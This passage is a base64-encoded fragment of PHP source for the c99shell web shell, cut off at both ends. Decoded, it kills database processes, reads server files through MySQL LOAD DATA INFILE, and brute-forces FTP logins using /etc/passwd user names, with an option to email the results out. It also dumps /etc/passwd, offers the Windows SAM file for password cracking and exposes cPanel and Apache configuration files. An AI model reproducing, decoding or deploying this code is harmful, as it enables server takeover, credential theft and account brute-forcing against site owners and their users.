8Yj5LaWxsaW5nIHByb2Nlc3MgIyIuJGtpbGwuIi4uLiBvay4gaGUgaXMgZGVhZCwgYW1lbi48L2I+Ijt9DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBQUk9DRVNTTElTVCIsICRzcWxfc29jayk7IA0KICAgICBlY2hvICI8Y2VudGVyPjxiPlByb2Nlc3Nlczo8L2I+PGJyPjxicj4iOw0KICAgICBlY2hvICI8VEFCTEUgY2VsbFNwYWNpbmc9MCBjZWxsUGFkZGluZz0yIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSMzMzMzMzMgYm9yZGVyPTE+PHRkPjxiPklEPC9iPjwvdGQ+PHRkPjxiPlVTRVI8L2I+PC90ZD48dGQ+PGI+SE9TVDwvYj48L3RkPjx0ZD48Yj5EQjwvYj48L3RkPjx0ZD48Yj5DT01NQU5EPC9iPjwvdGQ+PHRkPjxiPlRJTUU8L2I+PC90ZD48dGQ+PGI+U1RBVEU8L2I+PC90ZD48dGQ+PGI+SU5GTzwvYj48L3RkPjx0ZD48Yj5BY3Rpb248L2I+PC90ZD48L3RyPiI7DQogICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCwgTVlTUUxfTlVNKSkgeyBlY2hvICI8dHI+PHRkPiIuJHJvd1swXS4iPC90ZD48dGQ+Ii4kcm93WzFdLiI8L3RkPjx0ZD4iLiRyb3dbMl0uIjwvdGQ+PHRkPiIuJHJvd1szXS4iPC90ZD48dGQ+Ii4kcm93WzRdLiI8L3RkPjx0ZD4iLiRyb3dbNV0uIjwvdGQ+PHRkPiIuJHJvd1s2XS4iPC90ZD48dGQ+Ii4kcm93WzddLiI8L3RkPjx0ZD48YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF9hY3Q9cHJvY2Vzc2VzJmtpbGw9Ii4kcm93WzBdLiJcIj48dT5LaWxsPC91PjwvYT48L3RkPjwvdHI+Ijt9DQogICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgfQ0KICAgIGlmICgkc3FsX2FjdCA9PSAiZ2V0ZmlsZSIpDQogICAgew0KICAgICAkdG1wZGIgPSAkc3FsX2xvZ2luLiJfdG1wZGIiOw0KICAgICAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7DQogICAgIGlmICghJHNlbGVjdCkge215c3FsX2NyZWF0ZV9kYigkdG1wZGIpOyAkc2VsZWN0ID0gbXlzcWxfc2VsZWN0X2RiKCR0bXBkYik7ICRjcmVhdGVkID0gISEkc2VsZWN0O30NCiAgICAgaWYgKCRzZWxlY3QpDQogICAgIHsNCiAgICAgICRjcmVhdGVkID0gZmFsc2U7DQogICAgICBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0bXBfZmlsZWAgKCBgVmlld2luZyB0aGUgZmlsZSBpbiBzYWZlX21vZGUrb3Blbl9iYXNlZGlyYCBMT05HQkxPQiBOT1QgTlVMTCApOyIpOw0KICAgICAgbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLmFkZHNsYXNoZXMoJHNxbF9nZXRmaWxlKS4iXCIgSU5UTyBUQUJMRSB0bXBfZmlsZSIpOw0KICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRtcF9maWxlOyIpOw0KICAgICAgaWYgKCEkcmVzdWx0KSB7ZWNobyAiPGI+RXJyb3IgaW4gcmVhZGluZyBmaWxlIChwZXJtaXNpb24gZGVuaWVkKSE8L2I+Ijt9DQogICAgICBlbHNlDQogICAgICB7DQogICAgICAgZm9yICgkaT0wOyRpPG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7JGkrKykgeyRuYW1lID0gbXlzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTt9DQogICAgICAgJGYgPSAiIjsgDQogICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0LCBNWVNRTF9BU1NPQykpIHskZiAuPSBqb2luICgiXHJcbiIsJHJvdyk7fQ0KICAgICAgIGlmIChlbXB0eSgkZikpIHtlY2hvICI8Yj5GaWxlIFwiIi4kc3FsX2dldGZpbGUuIlwiIGRvZXMgbm90IGV4aXN0cyBvciBlbXB0eSE8L2I+PGJyPiI7fQ0KICAgICAgIGVsc2Uge2VjaG8gIjxiPkZpbGUgXCIiLiRzcWxfZ2V0ZmlsZS4iXCI6PC9iPjxicj4iLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJGYpKS4iPGJyPiI7fQ0KICAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRyZXN1bHQpOw0KICAgICAgIG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIHRtcF9maWxlOyIpOw0KICAgICAgfQ0KICAgICB9DQogICAgIG15c3FsX2Ryb3BfZGIoJHRtcGRiKTsgLy9jb21tZW50IGl0IGlmIHlvdSB3YW50IHRvIGxlYXZlIGRhdGFiYXNlDQogICAgfQ0KICAgfQ0KICB9DQogfQ0KIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogaWYgKCRzcWxfc29jaykNCiB7DQogICRhZmZlY3RlZCA9IEBteXNxbF9hZmZlY3RlZF9yb3dzKCRzcWxfc29jayk7DQogIGlmICgoIWlzX251bWVyaWMoJGFmZmVjdGVkKSkgb3IgKCRhZmZlY3RlZCA8IDApKXskYWZmZWN0ZWQgPSAwO30NCiAgZWNobyAiPHRyPjx0ZD48Y2VudGVyPjxiPkFmZmVjdGVkIHJvd3M6ICIuJGFmZmVjdGVkLiI8L2NlbnRlcj48L3RkPjwvdHI+IjsNCiB9DQogZWNobyAiPC90YWJsZT4iOw0KfQ0KaWYgKCRhY3QgPT0gIm1rZGlyIikNCnsNCiBpZiAoJG1rZGlyICE9ICRkKQ0KIHsNCiAgaWYgKGZpbGVfZXhpc3RzKCRta2RpcikpIHtlY2hvICI8Yj5NYWtlIERpciBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtkaXIpLiJcIjwvYj46IG9iamVjdCBhbHJlZHkgZXhpc3RzIjt9DQogIGVsc2VpZiAoIW1rZGlyKCRta2RpcikpIHtlY2hvICI8Yj5NYWtlIERpciBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtkaXIpLiJcIjwvYj46IGFjY2VzcyBkZW5pZWQiO30NCiAgZWNobyAiPGJyPjxicj4iOw0KIH0NCiAkYWN0ID0gJGRzcGFjdCA9ICJscyI7DQp9DQppZiAoJGFjdCA9PSAiZnRwcXVpY2ticnV0ZSIpDQp7DQogZWNobyAiPGI+RnRwIFF1aWNrIGJydXRlOjwvYj48YnI+IjsNCiBpZiAoIXdpbikge2VjaG8gIlRoaXMgZnVuY3Rpb25zIG5vdCB3b3JrIGluIFdpbmRvd3MhPGJyPjxicj4iO30NCiBlbHNlDQogew0KICBmdW5jdGlvbiBjOTlmdHBicnV0ZWNoZWNrKCRob3N0LCRwb3J0LCR0aW1lb3V0LCRsb2dpbiwkcGFzcywkc2gsJGZxYl9vbmx5d2l0aHNoKQ0KICB7DQogICBpZiAoJGZxYl9vbmx5d2l0aHNoKSB7JHRydWUgPSAoIWluX2FycmF5KCRzaCxhcnJheSgiL2Jpbi9mYWxzZSIsIi9zYmluL25vbG9naW4iKSkpO30NCiAgIGVsc2UgeyR0cnVlID0gdHJ1ZTt9DQogICBpZiAoJHRydWUpDQogICB7DQogICAgJHNvY2sgPSBAZnRwX2Nvbm5lY3QoJGhvc3QsJHBvcnQsJHRpbWVvdXQpOw0KICAgIGlmIChAZnRwX2xvZ2luKCRzb2NrLCRsb2dpbiwkcGFzcykpDQogICAgew0KICAgICBlY2hvICI8YSBocmVmPVwiZnRwOi8vIi4kbG9naW4uIjoiLiRwYXNzLiJAIi4kaG9zdC4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGI+Q29ubmVjdGVkIHRvICIuJGhvc3QuIiB3aXRoIGxvZ2luIFwiIi4kbG9naW4uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHBhc3MuIlwiPC9iPjwvYT4uPGJyPiI7DQogICAgIG9iX2ZsdXNoKCk7DQogICAgIHJldHVybiB0cnVlOw0KICAgIH0NCiAgIH0NCiAgfQ0KICBpZiAoIWVtcHR5KCRzdWJtaXQpKQ0KICB7DQogICBpZiAoIWlzX251bWVyaWMoJGZxYl9sZW5naHQpKSB7JGZxYl9sZW5naHQgPSAkbml4cHdkcGVycGFnZTt9DQogICAkZnAgPSBmb3BlbigiL2V0Yy9wYXNzd2QiLCJyIik7DQogICBpZiAoISRmcCkge2VjaG8gIkNhbid0IGdldCAvZXRjL3Bhc3N3ZCBmb3IgcGFzc3dvcmQtbGlzdC4iO30NCiAgIGVsc2UNCiAgIHsNCiAgICBpZiAoJGZxYl9sb2dnaW5nKQ0KICAgIHsNCiAgICAgaWYgKCRmcWJfbG9nZmlsZSkgeyRmcWJfbG9nZnAgPSBmb3BlbigkZnFiX2xvZ2ZpbGUsInciKTt9DQogICAgIGVsc2UgeyRmcWJfbG9nZnAgPSBmYWxzZTt9DQogICAgICRmcWJfbG9nID0gIkZUUCBRdWljayBCcnV0ZSAoY2FsbGVkIGM5OXNoZWxsIHYuICIuJHNodmVyLiIpIHN0YXJ0ZWQgYXQgIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiJcclxuXHJcbiI7DQogICAgIGlmICgkZnFiX2xvZ2ZpbGUpIHtmd3JpdGUoJGZxYl9sb2dmcCwkZnFiX2xvZyxzdHJsZW4oJGZxYl9sb2cpKTt9DQogICAgfQ0KICAgIG9iX2ZsdXNoKCk7DQogICAgJGkgPSAkc3VjY2VzcyA9IDA7DQogICAgJGZ0cHF1aWNrX3N0ID0gZ2V0bWljcm90aW1lKCk7DQogICAgd2hpbGUoIWZlb2YoJGZwKSkNCiAgICB7IA0KICAgICAkc3RyID0gZXhwbG9kZSgiOiIsZmdldHMoJGZwLDIwNDgpKTsNCiAgICAgaWYgKGM5OWZ0cGJydXRlY2hlY2soImxvY2FsaG9zdCIsMjEsMSwkc3RyWzBdLCRzdHJbMF0sJHN0cls2XSwkZnFiX29ubHl3aXRoc2gpKQ0KICAgICB7DQogICAgICBlY2hvICI8Yj5Db25uZWN0ZWQgdG8gIi4kU0VSVkVSX05BTUUuIiB3aXRoIGxvZ2luIFwiIi4kc3RyWzBdLiJcIiBhbmQgcGFzc3dvcmQgXCIiLiRzdHJbMF0uIlwiPC9iPjxicj4iOw0KICAgICAgJGZxYl9sb2cgLj0gIkNvbm5lY3RlZCB0byAiLiRTRVJWRVJfTkFNRS4iIHdpdGggbG9naW4gXCIiLiRzdHJbMF0uIlwiIGFuZCBwYXNzd29yZCBcIiIuJHN0clswXS4iXCIsIGF0ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iXHJcbiI7DQogICAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30NCiAgICAgICRzdWNjZXNzKys7DQogICAgICBvYl9mbHVzaCgpOw0KICAgICB9DQogICAgIGlmICgkaSA+ICRmcWJfbGVuZ2h0KSB7YnJlYWs7fQ0KICAgICAkaSsrOw0KICAgIH0gDQogICAgaWYgKCRzdWNjZXNzID09IDApIHtlY2hvICJObyBzdWNjZXNzLiBjb25uZWN0aW9ucyEiOyAkZnFiX2xvZyAuPSAiTm8gc3VjY2Vzcy4gY29ubmVjdGlvbnMhXHJcbiI7fQ0KICAgICRmdHBxdWlja190ID0gcm91bmQoZ2V0bWljcm90aW1lKCktJGZ0cHF1aWNrX3N0LDQpOw0KICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGI+RG9uZSE8L2I+PGJyPlRvdGFsIHRpbWUgKHNlY3MuKTogIi4kZnRwcXVpY2tfdC4iPGJyPlRvdGFsIGNvbm5lY3Rpb25zOiAiLiRpLiI8YnI+U3VjY2Vzcy46IDxmb250IGNvbG9yPVwiZ3JlZW5cIj48Yj4iLiRzdWNjZXNzLiI8L2I+PC9mb250Pjxicj5VbnN1Y2Nlc3MuOiIuKCRpLSRzdWNjZXNzKS4iPC9iPjxicj5Db25uZWN0cyBwZXIgc2Vjb25kOiAiLnJvdW5kKCRpLyRmdHBxdWlja190LDIpLiI8YnI+IjsNCiAgICAkZnFiX2xvZyAuPSAiXHJcbi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG5Eb25lIVxyXG5Ub3RhbCB0aW1lIChzZWNzLik6ICIuJGZ0cHF1aWNrX3QuIlxyXG5Ub3RhbCBjb25uZWN0aW9uczogIi4kaS4iXHJcblN1Y2Nlc3MuOiAiLiRzdWNjZXNzLiJcclxuVW5zdWNjZXNzLjoiLigkaS0kc3VjY2VzcykuIlxyXG5Db25uZWN0cyBwZXIgc2Vjb25kOiAiLnJvdW5kKCRpLyRmdHBxdWlja190LDIpLiJcclxuIjsNCiAgICBpZiAoJGZxYl9sb2dmcCkge2ZzZWVrKCRmcWJfbG9nZnAsMCk7IGZ3cml0ZSgkZnFiX2xvZ2ZwLCRmcWJfbG9nLHN0cmxlbigkZnFiX2xvZykpO30NCiAgICBpZiAoJGZxYl9sb2dlbWFpbCkge0BtYWlsKCRmcWJfbG9nZW1haWwsImM5OXNoZWxsIHYuICIuJHNodmVyLiIgcmVwb3J0IiwkZnFiX2xvZyk7fQ0KICAgIGZjbG9zZSgkZnFiX2xvZ2ZwKTsNCiAgIH0NCiAgfQ0KICBlbHNlDQogIHsNCiAgICRsb2dmaWxlID0gJHRtcGRpcl9sb2dzLiJjOTlzaF9mdHBxdWlja2JydXRlXyIuZGF0ZSgiZC5tLllfSF9pX3MiKS4iLmxvZyI7DQogICAkbG9nZmlsZSA9IHN0cl9yZXBsYWNlKCIvLyIsRElSRUNUT1JZX1NFUEFSQVRPUiwkbG9nZmlsZSk7DQogICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJQT1NUXCI+PGJyPlJlYWQgZmlyc3Q6IDxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJmcWJfbGVuZ2h0XCIgdmFsdWU9XCIiLiRuaXhwd2RwZXJwYWdlLiJcIj48YnI+PGJyPlVzZXJzIG9ubHkgd2l0aCBzaGVsbD8mbmJzcDs8aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImZxYl9vbmx5d2l0aHNoXCIgdmFsdWU9XCIxXCI+PGJyPjxicj5Mb2dnaW5nPyZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZnFiX2xvZ2dpbmdcIiB2YWx1ZT1cIjFcIiBjaGVja2VkPjxicj5Mb2dnaW5nIHRvIGZpbGU/Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cImZxYl9sb2dmaWxlXCIgdmFsdWU9XCIiLiRsb2dmaWxlLiJcIiBzaXplPVwiIi4oc3RybGVuKCRsb2dmaWxlKSsyKihzdHJsZW4oJGxvZ2ZpbGUpLzEwKSkuIlwiPjxicj5Mb2dnaW5nIHRvIGUtbWFpbD8mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwiZnFiX2xvZ2VtYWlsXCIgdmFsdWU9XCIiLiRsb2dfZW1haWwuIlwiIHNpemU9XCIiLihzdHJsZW4oJGxvZ2VtYWlsKSsyKihzdHJsZW4oJGxvZ2VtYWlsKS8xMCkpLiJcIj48YnI+PGJyPjxpbnB1dCB0eXBlPVwic3VibWl0XCIgbmFtZT1cInN1Ym1pdFwiIHZhbHVlPVwiQnJ1dGVcIj48L2Zvcm0+IjsNCiAgfQ0KIH0NCn0NCmlmICgkYWN0ID09ICJkIikNCnsNCiBpZiAoIWlzX2RpcigkZCkpIHtlY2hvICI8Y2VudGVyPjxiPlBlcm1pc2lvbiBkZW5pZWQhPC9iPjwvY2VudGVyPiI7fQ0KIGVsc2UNCiB7DQogIGVjaG8gIjxiPkRpcmVjdG9yeSBpbmZvcm1hdGlvbjo8L2I+PHRhYmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj4iOw0KICBpZiAoISR3aW4pDQogIHsNCiAgIGVjaG8gIjx0cj48dGQ+PGI+T3duZXIvR3JvdXA8L2I+PC90ZD48dGQ+ICI7ICAgICAgDQogICAkdG1wID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkKSk7DQogICBpZiAoJHRtcFsibmFtZSJdID09ICIiKSB7ZWNobyBmaWxlb3duZXIoJGQpLiIvIjt9DQogICBlbHNlIHtlY2hvICR0bXBbIm5hbWUiXS4iLyI7fQ0KICAgJHRtcCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkZCkpOw0KICAgaWYgKCR0bXBbIm5hbWUiXSA9PSAiIikge2VjaG8gZmlsZWdyb3VwKCRkKTt9DQogICBlbHNlIHtlY2hvICR0bXBbIm5hbWUiXTt9DQogIH0NCiAgZWNobyAiPHRyPjx0ZD48Yj5QZXJtczwvYj48L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4iYWN0PWNobW9kJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLnZpZXdfcGVybXNfY29sb3IoJGQpLiI8L2I+PC9hPjx0cj48dGQ+PGI+Q3JlYXRlIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVjdGltZSgkZCkpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5BY2Nlc3MgdGltZTwvYj48L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWF0aW1lKCRkKSkuIjwvdGQ+PC90cj48dHI+PHRkPjxiPk1PRElGWSB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQpKS4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gInBocGluZm8iKSB7QG9iX2NsZWFuKCk7IHBocGluZm8oKTsgZXhpdDt9DQppZiAoJGFjdCA9PSAic2VjdXJpdHkiKQ0Kew0KIGVjaG8gIjxjZW50ZXI+PGI+U2VydmVyIHNlY3VyaXR5IGluZm9ybWF0aW9uOjwvYj48L2NlbnRlcj48Yj5Tb2Z0d2FyZTo8L2I+ICIuUEhQX09TLiIsICIuJFNFUlZFUl9TT0ZUV0FSRS4iPGJyPjxiPlNhZmUtTW9kZTogIi4kaHNhZmVtb2RlLiI8L2I+PGJyPjxiPk9wZW4gYmFzZSBkaXI6ICIuJGhvcGVuYmFzZWRpci4iPC9iPjxicj4iOw0KIGlmICghJHdpbikNCiB7DQogIGlmICgkbml4cGFzc3dkKQ0KICB7DQogICBpZiAoJG5peHBhc3N3ZCA9PSAxKSB7JG5peHBhc3N3ZCA9IDA7fQ0KICAgZWNobyAiPGI+Km5peCAvZXRjL3Bhc3N3ZDo8L2I+PGJyPiI7DQogICBpZiAoIWlzX251bWVyaWMoJG5peHB3ZF9zKSkgeyRuaXhwd2RfcyA9IDA7fQ0KICAgaWYgKCFpc19udW1lcmljKCRuaXhwd2RfZSkpIHskbml4cHdkX2UgPSAkbml4cHdkcGVycGFnZTt9DQogICBlY2hvICI8Zm9ybSBtZXRob2Q9XCJHRVRcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJhY3RcIiB2YWx1ZT1cInNlY3VyaXR5XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibml4cGFzc3dkXCIgdmFsdWU9XCIxXCI+PGI+RnJvbTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0PVwiIG5hbWU9XCJuaXhwd2Rfc1wiIHZhbHVlPVwiIi4kbml4cHdkX3MuIlwiPiZuYnNwOzxiPlRvOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibml4cHdkX2VcIiB2YWx1ZT1cIiIuJG5peHB3ZF9lLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT48YnI+IjsNCiAgICRpID0gJG5peHB3ZF9zOw0KICAgd2hpbGUgKCRpIDwgJG5peHB3ZF9lKQ0KICAgew0KICAgICR1aWQgPSBwb3NpeF9nZXRwd3VpZCgkaSk7DQogICAgaWYgKCR1aWQpDQogICAgew0KICAgICAkdWlkWyJkaXIiXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJHVpZFsiZGlyIl0pLiJcIj4iLiR1aWRbImRpciJdLiI8L2E+IjsNCiAgICAgZWNobyBqb2luKCI6IiwkdWlkKS4iPGJyPiI7DQogICAgfQ0KICAgICRpKys7DQogICB9DQogIH0NCiAgZWxzZSB7ZWNobyAiPGJyPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9c2VjdXJpdHkmbml4cGFzc3dkPTEmZD0iLiR1ZC4iXCI+PGI+PHU+R2V0IC9ldGMvcGFzc3dkPC91PjwvYj48L2E+PGJyPiI7fQ0KIH0NCiBlbHNlDQogew0KICAkdiA9ICRfU0VSVkVSWyJXSU5ESVIiXS4iXHJlcGFpclxzYW0iOw0KICBpZiAoZmlsZV9nZXRfY29udGVudHMoJHYpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9XCJyZWRcIj5Zb3UgY2FuJ3QgY3JhY2sgd2lubnQgcGFzc3dvcmRzKCIuJHYuIikgPC9mb250PjwvYj48YnI+Ijt9DQogIGVsc2Uge2VjaG8gIjxiPjxmb250IGNvbG9yPVwiZ3JlZW5cIj5Zb3UgY2FuIGNyYWNrIHdpbm50IHBhc3N3b3Jkcy4gPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9c2FtJmQ9Ii4kX1NFUlZFUlsiV0lORElSIl0uIlxccmVwYWlyJmZ0PWRvd25sb2FkXCI+PHU+PGI+RG93bmxvYWQ8L2I+PC91PjwvYT4sIGFuZCB1c2UgbGNwLmNyYWNrKyCpLjwvZm9udD48L2I+PGJyPiI7fQ0KIH0NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvdXNlcmRvbWFpbnMiKSkge2VjaG8gIjxiPjxmb250IGNvbG9yPVwiZ3JlZW5cIj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj11c2VyZG9tYWlucyZkPS9ldGMvJmZ0PXR4dFwiPjx1PjxiPlZpZXcgY3BhbmVsIHVzZXItZG9tYWlucyBsb2dzPC9iPjwvdT48L2E+PC9mb250PjwvYj48YnI+Ijt9DQogaWYgKGZpbGVfZ2V0X2NvbnRlbnRzKCIvdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZyIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9XCJncmVlblwiPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWFjY291bnRpbmcubG9nJmQ9L3Zhci9jcGFuZWwvJmZ0PXR4dFwiPjx1PjxiPlZpZXcgY3BhbmVsIGxvZ3M8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi91c3IvbG9jYWwvYXBhY2hlL2NvbmYvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9XCJncmVlblwiPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWh0dHBkLmNvbmYmZD0vdXNyL2xvY2FsL2FwYWNoZS9jb25mLyZmdD10eHRcIj48dT48Yj5BcGFjaGUgY29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCiBpZiAoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaHR0cGQuY29uZiIpKSB7ZWNobyAiPGI+PGZvbnQgY29sb3I9XCJncmVlblwiPjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPWh0dHBkLmNvbmYmZD0vZXRjLyZmdD10eHRcIj48dT48Yj5BcGFjaGUgY29uZmlndXJhdGlvbiAoaHR0cGQuY29uZik8L2I+PC91PjwvYT48L2ZvbnQ+PC9iPjxicj4iO30NCn0NCmlmICgkYWN0ID09ICJta2ZpbGUiKQ0Kew0KIGlmICgkbWtmaWxlICE9ICRkKQ0KIHsNCiAgaWYgKGZpbGVfZXhpc3RzKCRta2ZpbGUpKSB7ZWNobyAiPGI+TWFrZSBGaWxlIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRta2ZpbGUpLiJcIjwvYj46IG9iamVjdCBhbHJlZHkgZXhpc3RzIjt9DQogIGVsc2VpZiAoIWZvcGVuKCRta2ZpbGUsInciKSkge2VjaG8gIjxiPk1ha2UgRmlsZSBcIiIuaHRtbHNwZWNpYWxjaGFycygkbWtmaWxlKS4iXCI8L2I+OiBhY2Nlc3MgZGVuaWVkIjt9DQogIGVsc2UgeyRhY3QgPSAiZiI7ICRkID0gZGlybmFtZSgkbWtmaWxlKTsgaWYgKHN1YnN0cigkZCwtMSwxKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9ICRmID0gYmFzZW5hbWUoJG1rZmlsZSk7fQ0KIH0NCiBlbHNlIHskYWN0ID0gJGRzcGFjdCA9ICJscyI7fQ0KfQ0KaWYgKCRhY3QgPT0gImVuY29kZXIiKQ0Kew0KIGVjaG8gIjxzY3JpcHQ+ZnVuY3Rpb24gc2V0X2VuY29kZXJfaW5wdXQodGV4dCkge2RvY3VtZW50LmZvcm1zLmVuY29kZXIuaW5wdXQudmFsdWUgPSB0ZXh0O308L3NjcmlwdD48Y2VudGVyPjxiPkVuY29kZXI6PC9iPjwvY2VudGVyPjxmb3JtIG5hbWU9XCJlbmNvZGVyXCIgbWV0aG9kPVwiUE9TVFwiPjxiPklucHV0OjwvYj48Y2VudGVyPjx0ZXh0YXJlYSBuYW1lPVwiZW5jb2Rlcl9pbnB1dFwiIGlkPVwiaW5wdXRcIiBjb2xzPTUwIHJvd3M9NT4iLkBodG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVyX2lucHV0KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cImNhbGN1bGF0ZVwiPjxicj48YnI+PC9jZW50ZXI+PGI+SGFzaGVzPC9iPjo8YnI+PGNlbnRlcj4iOw0KIGZvcmVhY2goYXJyYXkoIm1kNSIsImNyeXB0Iiwic2hhMSIsImNyYzMyIikgYXMgJHYpDQogew0KICBlY2hvICR2LiIgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9NTAgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi4kdigkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5Pjxicj4iOw0KIH0NCiBlY2hvICI8L2NlbnRlcj48Yj5Vcmw6PC9iPjxjZW50ZXI+PGJyPnVybGVuY29kZSAtIDxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSBvbkZvY3VzPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdmVyPVwidGhpcy5zZWxlY3QoKVwiIG9uTW91c2VvdXQ9XCJ0aGlzLnNlbGVjdCgpXCIgdmFsdWU9XCIiLnVybGVuY29kZSgkZW5jb2Rlcl9pbnB1dCkuIlwiIHJlYWRvbmx5Pg0KIDxicj51cmxkZWNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi51cmxkZWNvZGUoJGVuY29kZXJfaW5wdXQpLiJcIiByZWFkb25seT4NCiA8YnI+PC9jZW50ZXI+PGI+QmFzZTY0OjwvYj48Y2VudGVyPmJhc2U2NF9lbmNvZGUgLSA8aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgb25Gb2N1cz1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3Zlcj1cInRoaXMuc2VsZWN0KClcIiBvbk1vdXNlb3V0PVwidGhpcy5zZWxlY3QoKVwiIHZhbHVlPVwiIi5iYXNlNjRfZW5jb2RlKCRlbmNvZGVyX2lucHV0KS4iXCIgcmVhZG9ubHk+PC9jZW50ZXI+IjsNCiBlY2hvICI8Y2VudGVyPmJhc2U2NF9kZWNvZGUgLSAiOw0KIGlmIChiYXNlNjRfZW5jb2RlKGJhc2U2NF9kZWNvZGUoJGVuY29kZXJfaW5wdXQpKSAhPSAkZW5jb2Rlcl9pbnB1dCkge2VjaG8gIjxpbnB1dCB0eXBlPXRleHQgc2l6ZT0zNSB2YWx1ZT1cImZhaWxlZFwiIGRpc2FibGVkIHJlYWRvbmx5PiI7fQ0KIGVsc2UNCiB7DQogICRkZWJhc2U2NCA9IGJhc2U2NF9kZWNvZGU